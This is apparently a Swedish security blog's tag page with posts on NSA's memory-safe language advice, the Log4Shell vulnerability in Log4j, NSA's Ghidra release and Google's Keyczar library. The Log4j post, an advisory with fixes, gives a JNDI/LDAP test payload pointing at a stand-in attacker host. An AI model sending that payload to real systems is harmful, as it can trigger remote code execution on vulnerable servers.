Taggat med: java

NSA rekommenderar minnes-säkra programspråk

NSA rekommenderar minnes-säkra programspråk

Den amerikanska säkerhetsmyndigheten NSA har gått ut och varnat för programspråk som ej är minnes-säkra såsom C och rekommenderar en övergång till språk såsom C#, Go, Java, Ruby, Rust och Swift. Men bara för att man väljer ett programspråk som är minnes-säkert så betyder det inte per automatik att säkerhetsbrister inte kan uppstå, vilket också NSA framhäver. Även så kan språk såsom listade ovan anropa bibliotek som ej är minnes-säkra.

Även kan dessa programspråk leda till sämre prestanda på grund av funktioner såsom garbage collection (GC).

NSA rekommenderar att använda flertalet verktyg som utför SAST och DAST, dvs statisk och dynamisk applikationssäkerhetstestning. För att fånga upp bl.a. säkerhetsbrister och minnesproblem. En annan sak som framgår är även betydelsen av att använda anti-exploitfunktioner såsom Control Flow Guard (CFG), Address Space Layout Randomization (ASLR) och Data Execution Prevention (DEP).

Att just NSA går ut med dessa rekommendationer kommer inte direkt som någon nyhet eftersom säkerhetskritiska projekt såsom Tor har valt att bygga en ny implementation (Arti) helt i Rust. Programspråket C var ett givet val 2001 när utvecklingen av Tor påbörjades.

Genom att använda programspråk som C#, Go, Java, Ruby eller Rust så kan nästan hela buggklasser elimineras. Matt Miller på Microsoft berättade vid BlueHat-konferensen 2019 att mellan åren 2006 till 2018 berodde 70% av deras sårbarheter på minnessäkerhetsproblem. Google hittade också en liknande procentandel av minnessäkerhetssårbarheter under flera år i Chrome.

Bild från Microsofts presentation (länkad ovan)

% of memory safety vs. non
memory safety CVEs by patch year

Det ska vara kostsamt för angripare att identifiera och utnyttja säkerhetsbrister. För utvecklare ska det vara enkelt att göra rätt och verktyg ska finnas för att varna eller göra det omöjligt att göra säkerhetsfel.

Här kan du ladda hem PDF:en från NSA:

NSA - Software Memory Safety.png

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande:

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.

NSA släpper Reverse-Engineering verktyg

NSA släpper Reverse-Engineering verktyg

Uppdatering: Ghidra är nu släppt på https://ghidra-sre.org/

Amerikanska säkerhetsmyndigheten NSA avser att släppa verktyget GHIDRA som open-source under den årliga RSA-konferensen som går av stapeln i San Francisco under Mars månad.

Stöd mitt bloggande via Patreon 👊

GHIDRA är ett ramverk för att utföra Reverse-Engineering eller baklänges ingenjörskonst som det ibland kallas. Analysera binär kod exempelvis i syfte att undersöka skadlig kod eller ta sig in i system.

The GHIDRA platform includes all the features expected in high-end commercial tools, with new and expanded functionality NSA uniquely developed, and will be released for free public use at RSA.

Robert Joyce, NSA

Charlie Miller som tidigare jobbat på NSA kommenterade på Twitter att verktyget fanns för 13 år sedan då han jobbade på myndigheten:

Verktyget är skrivet i programspråket Java och påminner mycket om IDA Pro som är ett verktyg som jag spenderat en hel del tid med.

Information om GHIDRA har tidigare läckt via CIA Vault7-läckorna som återfinnes på Wikileaks.

Krypto från Google: Keyczar

Google har nyligen släppt ett bibliotek för att lätt hantera kryptografiska funktioner såsom nyckelhantering,

kryptering och dekryptering för Java samt Python.

Exempel på hur Keyczar används för att kryptera:

	Crypter crypter = new Crypter("/path/to/your/keys");
	String ciphertext = crypter.encrypt("Secret message");

Lätt va?

Läs mer på Google Security bloggen eller på keyczar.org